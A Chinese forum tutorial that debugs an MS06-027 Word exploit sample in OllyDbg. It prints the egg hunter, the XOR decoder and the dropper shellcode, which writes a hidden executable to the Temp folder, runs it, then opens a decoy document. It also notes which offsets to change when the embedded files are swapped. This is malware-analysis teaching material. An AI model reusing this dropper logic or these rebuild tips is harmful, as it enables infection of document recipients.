最近有人问起word漏洞样本的具体分析,回头翻了翻好多资料,都集中于分析漏洞原理分析,很少有人具体分析一个样本的执行过程,即漏洞利用的过程。这里我就把样本调试的过程发出来,让新学漏洞的朋友能够借鉴。本调试过程配了个调试视频,有兴趣的朋友可以联系我获取视频,这样参照实际操作更容易理解。
(本文涉及的样本请问搜索引擎)
一。漏洞说明:
MS06-027,详情查MS公告
另有分析文章《Fuzzing in Word溢出分析和利用》
http://www.hacker.com.cn/show-15-285-1.html
二。文章说明:
本文基于读者已经熟练掌握
《Fuzzing in Word溢出分析和利用》一文
只演示shellcode工作过程
三。调试步骤:
1.利用16进制编辑器如c32asm等查看文件内容
找到控制EIP的点,本次调试的样本中填充地址为硬编码栈地址
位置:0x2850 =》0x00125b6a
将该位置修改成一个无效地址如:0x88888888
2.打开ollydbg调试器,首先设置调试器为当前系统实时调试器。
并取消忽略事件,关闭调试器。
3.在可溢出环境下双击打开步骤1中修改过的doc文档
4.word会自动捕获异常,并弹出异常页面,点击左下角“调试”,0llydbg
会自动打开并跳至异常位置。
此时:eip位置:
301AC0F6 8B08 mov ecx, dword ptr [eax]
301AC0F8 50 push eax
301AC0F9 FF51 14 call dword ptr [ecx+14]
由此,可见控制EAX即可控制EIP,eax是我们在文档中修过的0x88888888值,
将其改回原值0x00125b6a
5.开始调试:
单步执行(f8),至call dword ptr [ecx+14]时按F7步入
此时,EIP为 0x00125b8a,即shellcode入口点,这个位置可以在poc中找到。
00125B8A 33DB xor ebx, ebx
00125B8C 81C6 00000200 add esi, 20000
00125B92 90 nop
00125B93 90 nop
00125B94 46 inc esi
00125B95 8B06 mov eax, dword ptr [esi]
00125B97 3D 80646433 cmp eax, 33646480
00125B9C ^ 75 F6 jnz short 00125B94
00125B9E 43 inc ebx
00125B9F 83FB 02 cmp ebx, 2
00125BA2 ^ 75 F0 jnz short 00125B94
00125BA4 FFE6 jmp esi
分析后发现,这是一个查找0x33646480标记的微型shellcode代码,也有人称之为
egghunter,这个一般是在可利用栈空间小的可怜的时候才使用。
这里可以直接在jmp esi下断点后按F9执行
断住后,esi位置即为第二段shellcode位置。文档中位置为:0x7f0
这一段shellcode才是主功能shellcode
(这里要注意的是egg hunter并不是直接在栈上查找这个标记,因为这段shellcode并未被拷贝至栈,其查找的位置是
文件在内存中的映射:
Memory map, 条目 221
地址=09040000
大小=03FCD000 (66899968.)
属主= 09040000 (自身)
区段=
类型=Map 00041002
访问=R
初始访问=R
已映射为=\Device\HarddiskVolume1\Program Files\Common Files\Microsoft Shared\IME\IMSC40A\PINTLGT.IMD
)
回到EIP继续调试:
00A47600 806464 33 00 and byte ptr [esp+33], 0
00A47605 EB 19 jmp short 00A47620
00A47607 90 nop
00A47608 90 nop
00A47609 5F pop edi
00A4760A 57 push edi
00A4760B 5E pop esi
00A4760C 33DB xor ebx, ebx
00A4760E 33C9 xor ecx, ecx
00A47610 B9 00140000 mov ecx, 1400
00A47615 43 inc ebx
00A47616 3BD9 cmp ebx, ecx
00A47618 74 0B je short 00A47625
00A4761A AC lods byte ptr [esi]
00A4761B 34 A4 xor al, 0A4
00A4761D AA stos byte ptr es:[edi]
00A4761E ^ EB F5 jmp short 00A47615
00A47620 E8 E2FFFFFF call 00A47607
这一段为shellcode解密段 可以看到后面的shellcode被按字节异或
xor al, 0A4
按F8执行至:
00A47620 E8 E2FFFFFF call 00A47607
时按F7步入(这里一定要注意,要不直接运行完了)
继续按F8在解密函数中游走。
执行几步后,就看明白了,解密长度为
00A47610 B9 00140000 mov ecx, 1400
解密完成后,由该句跳转至 被解密shellcode位置
00A47618 74 0B je short 00A47625
这里直接可以运行两边后在
00A47620 E8 E2FFFFFF call 00A47607
解密后的
00A47625 55 push ebp
这一句上下断点,然后F9直接跳至真正的shellcode上,有所谓:“不识代码真面目,
只缘尼玛编了码”。
这里才是一个shellcode的真正面目
继续F8执行
00A47625 55 push ebp
00A47626 8BEC mov ebp, esp
00A47628 81EC D0020000 sub esp, 2D0
00A4762E 53 push ebx
00A4762F 56 push esi
00A47630 57 push edi
00A47631 60 pushad
00A47632 64:8B15 3000000>mov edx, dword ptr fs:[30]
00A47639 E9 21050000 jmp 00A47B5F
注意这里的jmp是跳到这里的
00A47B5F E8 DAFAFFFF call 00A4763E
00A47B64 5C pop esp
00A47B65 54 push esp
千万要在call上面按F7步入,要不,重新来吧。
(注意:这里为什么要跳转一下,后面会知道的,其实shellcode的尾部存放了
一些重要的参数,比如捆绑后文件大小什么的)
按F7后来到
00A4763E 8F85 B4FDFFFF pop dword ptr [ebp-24C]
这里就是把参数位置,保存以备后用
shellcode功能就不重复叙述了,我以前的文章里面有关于这方面的讲解
(
标 题: 【原创】windows下的shellcode剖析浅谈
作 者: snowdbg
时 间: 2009-10-06,11:12:47
链 接: http://bbs.pediy.com/showthread.php?t=99007
)
本次调试的目的是找出恶意可执行文件,和正常文档在poc中的位置和解密方法
所以我们直接运行跳至:
00A477D2 C785 CCFEFFFF 0>mov dword ptr [ebp-134], 0
00A477DC 8B95 CCFEFFFF mov edx, dword ptr [ebp-134]
00A477E2 83C2 04 add edx, 4
00A477E5 8995 CCFEFFFF mov dword ptr [ebp-134], edx
00A477EB 6A 00 push 0
00A477ED 8B85 CCFEFFFF mov eax, dword ptr [ebp-134]
00A477F3 50 push eax
00A477F4 FF95 34FDFFFF call dword ptr [ebp-2CC]
00A477FA 8985 A0FDFFFF mov dword ptr [ebp-260], eax
00A47800 8B8D A0FDFFFF mov ecx, dword ptr [ebp-260]
00A47806 3B4D E0 cmp ecx, dword ptr [ebp-20]
00A47809 ^ 75 D1 jnz short 00A477DC
这里是穷举文件句柄的地方要注意的是
00A47800 8B8D A0FDFFFF mov ecx, dword ptr [ebp-260]
00A47806 3B4D E0 cmp ecx, dword ptr [ebp-20]
这里做了判断文件大小的动作,所以[ebp-20]这个位置很重要,
如果你修改了文件大小而没有修改这个地方的话这个poc就是CPU 99%的主。
这里直接在JNZ后面一句
00A4780B 68 04010000 push 104
下断点,再按F9
找到句柄后 就该常规的读数据提取数据流程了
00A47846 6A 00 push 0
00A47848 68 80000000 push 80
00A4784D 6A 02 push 2
00A4784F 6A 00 push 0
00A47851 6A 03 push 3
00A47853 68 00000040 push 40000000
00A47858 8D85 D0FEFFFF lea eax, dword ptr [ebp-130]
00A4785E 50 push eax
00A4785F FF95 38FDFFFF call dword ptr [ebp-2C8] ; kernel32.CreateFileA
这里建立EXE文件了
00124DDC 00A47865 /CALL 到 CreateFileA 来自 00A4785F
00124DE0 00124FA8 |FileName = "C:\WINDOWS\Temp\csrse.exe"
00124DE4 40000000 |Access = GENERIC_WRITE
00124DE8 00000003 |ShareMode = FILE_SHARE_READ|FILE_SHARE_WRITE
00124DEC 00000000 |pSecurity = NULL
00124DF0 00000002 |Mode = CREATE_ALWAYS
00124DF4 00000080 |Attributes = NORMAL
00124DF8 00000000 \hTemplateFile = NULL
然后有一个SetFilePointer
00A47865 8945 E4 mov dword ptr [ebp-1C], eax
00A47868 6A 00 push 0
00A4786A 6A 00 push 0
00A4786C 8B4D D8 mov ecx, dword ptr [ebp-28]
00A4786F 51 push ecx
00A47870 8B95 CCFEFFFF mov edx, dword ptr [ebp-134]
00A47876 52 push edx
00A47877 FF95 48FDFFFF call dword ptr [ebp-2B8]
这个函数很重要 是定位捆绑数据位置的
可以看到ebp-28位置存放的就是exe数据对应在文件的position
即0x5e00;
接着道这里了
00A47887 8B85 A0FDFFFF mov eax, dword ptr [ebp-260]
00A4788D 3B45 DC cmp eax, dword ptr [ebp-24]
00A47890 73 59 jnb short 00A478EB
epb-24这个位置存放的是 exe文件大小
这一段太悲翠
00A47887 8B85 A0FDFFFF mov eax, dword ptr [ebp-260]
00A4788D 3B45 DC cmp eax, dword ptr [ebp-24]
00A47890 73 59 jnb short 00A478EB
00A47892 6A 00 push 0
00A47894 8D4D D4 lea ecx, dword ptr [ebp-2C]
00A47897 51 push ecx
00A47898 6A 01 push 1
00A4789A 8D95 58FDFFFF lea edx, dword ptr [ebp-2A8]
00A478A0 52 push edx
00A478A1 8B85 CCFEFFFF mov eax, dword ptr [ebp-134]
00A478A7 50 push eax
00A478A8 FF95 44FDFFFF call dword ptr [ebp-2BC]
00A478AE 0FBE8D 58FDFFFF movsx ecx, byte ptr [ebp-2A8]
00A478B5 C0C1 05 rol cl, 5
00A478B8 90 nop
00A478B9 90 nop
00A478BA 90 nop
00A478BB 888D 58FDFFFF mov byte ptr [ebp-2A8], cl
00A478C1 6A 00 push 0
00A478C3 8D55 D4 lea edx, dword ptr [ebp-2C]
00A478C6 52 push edx
00A478C7 6A 01 push 1
00A478C9 8D85 58FDFFFF lea eax, dword ptr [ebp-2A8]
00A478CF 50 push eax
00A478D0 8B4D E4 mov ecx, dword ptr [ebp-1C]
00A478D3 51 push ecx
00A478D4 FF95 40FDFFFF call dword ptr [ebp-2C0]
00A478DA 8B95 A0FDFFFF mov edx, dword ptr [ebp-260]
00A478E0 83C2 01 add edx, 1
00A478E3 8995 A0FDFFFF mov dword ptr [ebp-260], edx
00A478E9 ^ EB 9C jmp short 00A47887
一次读一个字节然后写一个字节,到新文件中.注意,数据编码方式
00A478B5 C0C1 05 rol cl, 5
简单的一个数据移位
这里直接在jmp后面下断F9
00A478F5 B9 11000000 mov ecx, 11
00A478FA 33C0 xor eax, eax
00A478FC 8DBD 5CFDFFFF lea edi, dword ptr [ebp-2A4]
00A47902 F3:AB rep stos dword ptr es:[edi]
00A47904 C785 5CFDFFFF 4>mov dword ptr [ebp-2A4], 44
00A4790E 8D4D F0 lea ecx, dword ptr [ebp-10]
00A47911 51 push ecx
00A47912 8D95 5CFDFFFF lea edx, dword ptr [ebp-2A4]
00A47918 52 push edx
00A47919 6A 00 push 0
00A4791B 6A 00 push 0
00A4791D 68 00000008 push 8000000
00A47922 6A 00 push 0
00A47924 6A 00 push 0
00A47926 6A 00 push 0
00A47928 8D85 D0FEFFFF lea eax, dword ptr [ebp-130]
00A4792E 50 push eax
00A4792F 6A 00 push 0
00A47931 FF95 4CFDFFFF call dword ptr [ebp-2B4] ; kernel32.CreateProcessA
这一段是运行exe的了 这句call直接调用
00124DD0 00A47937 /CALL 到 CreateProcessA 来自 00A47931
00124DD4 00000000 |ModuleFileName = NULL
00124DD8 00124FA8 |CommandLine = "C:\WINDOWS\Temp\csrse.exe"
00124DDC 00000000 |pProcessSecurity = NULL
00124DE0 00000000 |pThreadSecurity = NULL
00124DE4 00000000 |InheritHandles = FALSE
00124DE8 08000000 |CreationFlags = CREATE_NO_WINDOW
00124DEC 00000000 |pEnvironment = NULL
00124DF0 00000000 |CurrentDir = NULL
00124DF4 00124E34 |pStartupInfo = 00124E34
00124DF8 001250C8 \pProcessInfo = 001250C8
你会发现捆绑的exe已经执行了
接下来:
00A47937 8B4D EC mov ecx, dword ptr [ebp-14]
00A4793A 8D940D D0FEFFFF lea edx, dword ptr [ebp+ecx-130]
00A47941 8B85 C4FEFFFF mov eax, dword ptr [ebp-13C]
00A47947 8B08 mov ecx, dword ptr [eax]
00A47949 890A mov dword ptr [edx], ecx
00A4794B 8B48 04 mov ecx, dword ptr [eax+4]
00A4794E 894A 04 mov dword ptr [edx+4], ecx
00A47951 8B48 08 mov ecx, dword ptr [eax+8]
00A47954 894A 08 mov dword ptr [edx+8], ecx
00A47957 8B40 0C mov eax, dword ptr [eax+C]
00A4795A 8942 0C mov dword ptr [edx+C], eax
00A4795D 6A 00 push 0
00A4795F 68 80000000 push 80
00A47964 6A 02 push 2
00A47966 6A 00 push 0
00A47968 6A 03 push 3
00A4796A 68 00000040 push 40000000
00A4796F 8D8D D0FEFFFF lea ecx, dword ptr [ebp-130]
00A47975 51 push ecx
00A47976 FF95 38FDFFFF call dword ptr [ebp-2C8]
这里建立doc文件
00124DDC 00A4797C /CALL 到 CreateFileA 来自 00A47976
00124DE0 00124FA8 |FileName = "C:\WINDOWS\Temp\tmp00.doc"
00124DE4 40000000 |Access = GENERIC_WRITE
00124DE8 00000003 |ShareMode = FILE_SHARE_READ|FILE_SHARE_WRITE
00124DEC 00000000 |pSecurity = NULL
00124DF0 00000002 |Mode = CREATE_ALWAYS
00124DF4 00000080 |Attributes = NORMAL
00124DF8 00000000 \hTemplateFile = NULL
继续到这里
00A4797C 8945 E4 mov dword ptr [ebp-1C], eax
00A4797F C785 A0FDFFFF 0>mov dword ptr [ebp-260], 0
00A47989 8B95 A0FDFFFF mov edx, dword ptr [ebp-260]
00A4798F 3B95 A8FDFFFF cmp edx, dword ptr [ebp-258]
00A47995 0F83 B7000000 jnb 00A47A52
00A4799B 6A 00 push 0
00A4799D 6A 00 push 0
00A4799F 8B85 A4FDFFFF mov eax, dword ptr [ebp-25C]
00A479A5 50 push eax
00A479A6 8B8D CCFEFFFF mov ecx, dword ptr [ebp-134]
00A479AC 51 push ecx
00A479AD FF95 48FDFFFF call dword ptr [ebp-2B8] ; kernel32.SetFilePointer
又是一个SetFilePointer
将ebp-25c位置的值作为position,所以这里也是一个重要参数,如果文档数据改变
这里是必须改的 要不然 poc执行了找不到捆绑的正常doc文件在哪
这一整段,跟exe数据读取一样
00A47989 8B95 A0FDFFFF mov edx, dword ptr [ebp-260]
00A4798F 3B95 A8FDFFFF cmp edx, dword ptr [ebp-258]
00A47995 0F83 B7000000 jnb 00A47A52
注意这个位置[ebp-258] 保存的是捆绑进去的正常doc文件大小
00A4799B 6A 00 push 0
00A4799D 6A 00 push 0
00A4799F 8B85 A4FDFFFF mov eax, dword ptr [ebp-25C]
00A479A5 50 push eax
00A479A6 8B8D CCFEFFFF mov ecx, dword ptr [ebp-134]
00A479AC 51 push ecx
00A479AD FF95 48FDFFFF call dword ptr [ebp-2B8]
00A479B3 6A 00 push 0
00A479B5 8D55 D4 lea edx, dword ptr [ebp-2C]
00A479B8 52 push edx
00A479B9 6A 01 push 1
00A479BB 8D85 58FDFFFF lea eax, dword ptr [ebp-2A8]
00A479C1 50 push eax
00A479C2 8B8D CCFEFFFF mov ecx, dword ptr [ebp-134]
00A479C8 51 push ecx
00A479C9 FF95 44FDFFFF call dword ptr [ebp-2BC]
00A479CF 6A 00 push 0
00A479D1 6A 00 push 0
00A479D3 8B95 A0FDFFFF mov edx, dword ptr [ebp-260]
00A479D9 52 push edx
00A479DA 8B85 CCFEFFFF mov eax, dword ptr [ebp-134]
00A479E0 50 push eax
00A479E1 FF95 48FDFFFF call dword ptr [ebp-2B8]
00A479E7 0FBE8D 58FDFFFF movsx ecx, byte ptr [ebp-2A8]
00A479EE C0C1 05 rol cl, 5
00A479F1 90 nop
00A479F2 90 nop
00A479F3 90 nop
00A479F4 888D 58FDFFFF mov byte ptr [ebp-2A8], cl
00A479FA 6A 00 push 0
00A479FC 8D55 D4 lea edx, dword ptr [ebp-2C]
00A479FF 52 push edx
00A47A00 6A 01 push 1
00A47A02 8D85 58FDFFFF lea eax, dword ptr [ebp-2A8]
00A47A08 50 push eax
00A47A09 8B8D CCFEFFFF mov ecx, dword ptr [ebp-134]
00A47A0F 51 push ecx
00A47A10 FF95 40FDFFFF call dword ptr [ebp-2C0]
00A47A16 6A 00 push 0
00A47A18 8D55 D4 lea edx, dword ptr [ebp-2C]
00A47A1B 52 push edx
00A47A1C 6A 01 push 1
00A47A1E 8D85 58FDFFFF lea eax, dword ptr [ebp-2A8]
00A47A24 50 push eax
00A47A25 8B4D E4 mov ecx, dword ptr [ebp-1C]
00A47A28 51 push ecx
00A47A29 FF95 40FDFFFF call dword ptr [ebp-2C0]
00A47A2F 8B95 A4FDFFFF mov edx, dword ptr [ebp-25C]
00A47A35 83C2 01 add edx, 1
00A47A38 8995 A4FDFFFF mov dword ptr [ebp-25C], edx
00A47A3E 8B85 A0FDFFFF mov eax, dword ptr [ebp-260]
00A47A44 83C0 01 add eax, 1
00A47A47 8985 A0FDFFFF mov dword ptr [ebp-260], eax
00A47A4D ^ E9 37FFFFFF jmp 00A47989
接下来关闭文件句柄
00A47A52 8B4D E4 mov ecx, dword ptr [ebp-1C]
00A47A55 51 push ecx
00A47A56 FF95 3CFDFFFF call dword ptr [ebp-2C4]
再来
00A47A5C C685 58FDFFFF 0>mov byte ptr [ebp-2A8], 0
00A47A63 8B55 E0 mov edx, dword ptr [ebp-20]
00A47A66 2B95 A8FDFFFF sub edx, dword ptr [ebp-258]
00A47A6C 8995 A0FDFFFF mov dword ptr [ebp-260], edx
00A47A72 83BD A0FDFFFF 0>cmp dword ptr [ebp-260], 0
00A47A79 74 2D je short 00A47AA8
00A47A7B 6A 00 push 0
00A47A7D 8D45 D4 lea eax, dword ptr [ebp-2C]
00A47A80 50 push eax
00A47A81 6A 01 push 1
00A47A83 8D8D 58FDFFFF lea ecx, dword ptr [ebp-2A8]
00A47A89 51 push ecx
00A47A8A 8B95 CCFEFFFF mov edx, dword ptr [ebp-134]
00A47A90 52 push edx
00A47A91 FF95 40FDFFFF call dword ptr [ebp-2C0] ; kernel32.WriteFile
00A47A97 8B85 A0FDFFFF mov eax, dword ptr [ebp-260]
00A47A9D 83E8 01 sub eax, 1
00A47AA0 8985 A0FDFFFF mov dword ptr [ebp-260], eax
00A47AA6 ^ EB CA jmp short 00A47A72
00A47AA8 8B8D CCFEFFFF mov ecx, dword ptr [ebp-134]
00A47AAE 51 push ecx
00A47AAF FF95 3CFDFFFF call dword ptr [ebp-2C4]
这里是将原来的poc改写代码 所以这个poc只能成功运行一次 ,第二次打开后就是
一个正常文档了
完成后关闭文件句柄
00A47AA8 8B8D CCFEFFFF mov ecx, dword ptr [ebp-134]
00A47AAE 51 push ecx
00A47AAF FF95 3CFDFFFF call dword ptr [ebp-2C4] ; kernel32.CloseHandle
继续执行
00A47AB5 B9 41000000 mov ecx, 41
00A47ABA 33C0 xor eax, eax
00A47ABC 8DBD B8FDFFFF lea edi, dword ptr [ebp-248]
00A47AC2 F3:AB rep stos dword ptr es:[edi]
00A47AC4 8B55 EC mov edx, dword ptr [ebp-14]
00A47AC7 83C2 34 add edx, 34
00A47ACA 8995 A0FDFFFF mov dword ptr [ebp-260], edx
00A47AD0 B9 09000000 mov ecx, 9
00A47AD5 8BB5 C8FEFFFF mov esi, dword ptr [ebp-138]
00A47ADB 8DBD B8FDFFFF lea edi, dword ptr [ebp-248]
00A47AE1 F3:A5 rep movs dword ptr es:[edi], dword ptr [esi]
00A47AE3 8B4D EC mov ecx, dword ptr [ebp-14]
00A47AE6 83C1 10 add ecx, 10
00A47AE9 8DB5 D0FEFFFF lea esi, dword ptr [ebp-130]
00A47AEF 8DBD DCFDFFFF lea edi, dword ptr [ebp-224]
00A47AF5 8BC1 mov eax, ecx
00A47AF7 C1E9 02 shr ecx, 2
00A47AFA F3:A5 rep movs dword ptr es:[edi], dword ptr [esi]
00A47AFC 8BC8 mov ecx, eax
00A47AFE 83E1 03 and ecx, 3
00A47B01 F3:A4 rep movs byte ptr es:[edi], byte ptr [esi]
00A47B03 8B8D A0FDFFFF mov ecx, dword ptr [ebp-260]
00A47B09 C6840D B8FDFFFF>mov byte ptr [ebp+ecx-248], 22
00A47B11 B9 11000000 mov ecx, 11
00A47B16 33C0 xor eax, eax
00A47B18 8DBD 5CFDFFFF lea edi, dword ptr [ebp-2A4]
00A47B1E F3:AB rep stos dword ptr es:[edi]
00A47B20 C785 5CFDFFFF 4>mov dword ptr [ebp-2A4], 44
00A47B2A 8D55 F0 lea edx, dword ptr [ebp-10]
00A47B2D 52 push edx
00A47B2E 8D85 5CFDFFFF lea eax, dword ptr [ebp-2A4]
00A47B34 50 push eax
00A47B35 6A 00 push 0
00A47B37 6A 00 push 0
00A47B39 68 00000008 push 8000000
00A47B3E 6A 00 push 0
00A47B40 6A 00 push 0
00A47B42 6A 00 push 0
00A47B44 8D8D B8FDFFFF lea ecx, dword ptr [ebp-248]
00A47B4A 51 push ecx
00A47B4B 6A 00 push 0
00A47B4D FF95 4CFDFFFF call dword ptr [ebp-2B4] ; kernel32.CreateProcessA
这一大段的功能就是构造doc文件运行参数并调用kernel32.CreateProcessA
将其运行
00124DD0 00A47B53 /CALL 到 CreateProcessA 来自 00A47B4D
00124DD4 00000000 |ModuleFileName = NULL
00124DD8 00124E90 |CommandLine = "cmd.exe /c start winword.exe /w /q ""C:\WINDOWS\Temp\tmp00.doc"
00124DDC 00000000 |pProcessSecurity = NULL
00124DE0 00000000 |pThreadSecurity = NULL
00124DE4 00000000 |InheritHandles = FALSE
00124DE8 08000000 |CreationFlags = CREATE_NO_WINDOW
00124DEC 00000000 |pEnvironment = NULL
00124DF0 00000000 |CurrentDir = NULL
00124DF4 00124E34 |pStartupInfo = 00124E34
00124DF8 001250C8 \pProcessInfo = 001250C8
执行完call就发现捆绑的正常doc已经打开
最后收尾
00A47B53 6A 00 push 0
00A47B55 FF95 50FDFFFF call dword ptr [ebp-2B0] ; kernel32.ExitProcess
关闭当前异常的winword.exe进程,已经用不着它了所以关闭之
到这里我们发现了参数位置
00A47B5B 33C0 xor eax, eax
00A47B5D 8918 mov dword ptr [eax], ebx
00A47B5F E8 DAFAFFFF call 00A4763E
00A47B64 5C pop esp
00A47B65 54 push esp
00A47B66 65:6D ins dword ptr es:[edi], dx
00A47B68 70 5C jo short 00A47BC6
00A47B6A 6373 72 arpl word ptr [ebx+72], si
00A47B6D 73 65 jnb short 00A47BD4
00A47B6F 2E: prefix cs:
好,咱们看看参数是怎么排列的
00A47B5B 33 C0 89 18 E8 DA FA FF FF 5C 54 65 6D 70 5C 63 3缐柃?\Temp\c
00A47B6B 73 72 73 65 2E 65 78 65 00 5C 54 65 6D 70 5C 74 srse.exe.\Temp\t
00A47B7B 6D 70 30 30 2E 64 6F 63 00 63 6D 64 2E 65 78 65 mp00.doc.cmd.exe
00A47B8B 20 2F 63 20 73 74 61 72 74 20 77 69 6E 77 6F 72 /c start winwor
00A47B9B 64 2E 65 78 65 20 2F 77 20 2F 71 20 22 00 00 00 d.exe /w /q "...
00A47BAB 5E 00 00 00 C0 01 00 00 1E 02 00 00 5E 00 00 00 ^...?....^...
00A47BBB 7C 02 00 47 65 74 57 69 6E 64 6F 77 73 44 69 72 |.GetWindowsDir
00A47BCB 65 63 74 6F 72 79 41 00 47 65 74 46 69 6C 65 53 ectoryA.GetFileS
00A47BDB 69 7A 65 00 43 72 65 61 74 65 46 69 6C 65 41 00 ize.CreateFileA.
00A47BEB 43 6C 6F 73 65 48 61 6E 64 6C 65 00 57 72 69 74 CloseHandle.Writ
00A47BFB 65 46 69 6C 65 00 52 65 61 64 46 69 6C 65 00 53 eFile.ReadFile.S
00A47C0B 65 74 46 69 6C 65 50 6F 69 6E 74 65 72 00 43 72 etFilePointer.Cr
00A47C1B 65 61 74 65 50 72 6F 63 65 73 73 41 00 45 78 69 eateProcessA.Exi
00A47C2B 74 50 72 6F 63 65 73 73 00 00 00 00 00 00 tProcess......
看到一些熟悉的参数,原文档中这些数据都被xor al,0xa4了
四。总结
这个poc算是公开的带生成器的少数几个完整APT攻击的漏洞样本,从这里我们就可以看到
一个完整的APT攻击shellcode运行思路。
这里画个示意
poc总体由以下三部分组成:
|畸形文档 |
|exe数据 |
|正常doc数据 |
这三部分其实都是独立的文件数据,生成器不过只是将其按规则进行了简单叠加
其中畸形文档可以画如下结构
|漏洞触发位置 |这个请看《Fuzzing in Word溢出分析和利用》
|egg hunter |
|shellcode decoder |
|shellcode |
|控EIP点:我们修改的0x88888888位置|
五。视频下载地址:
链接:http://pan.baidu.com/share/link?shareid=713803&uk=973869753 密码:ouym
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)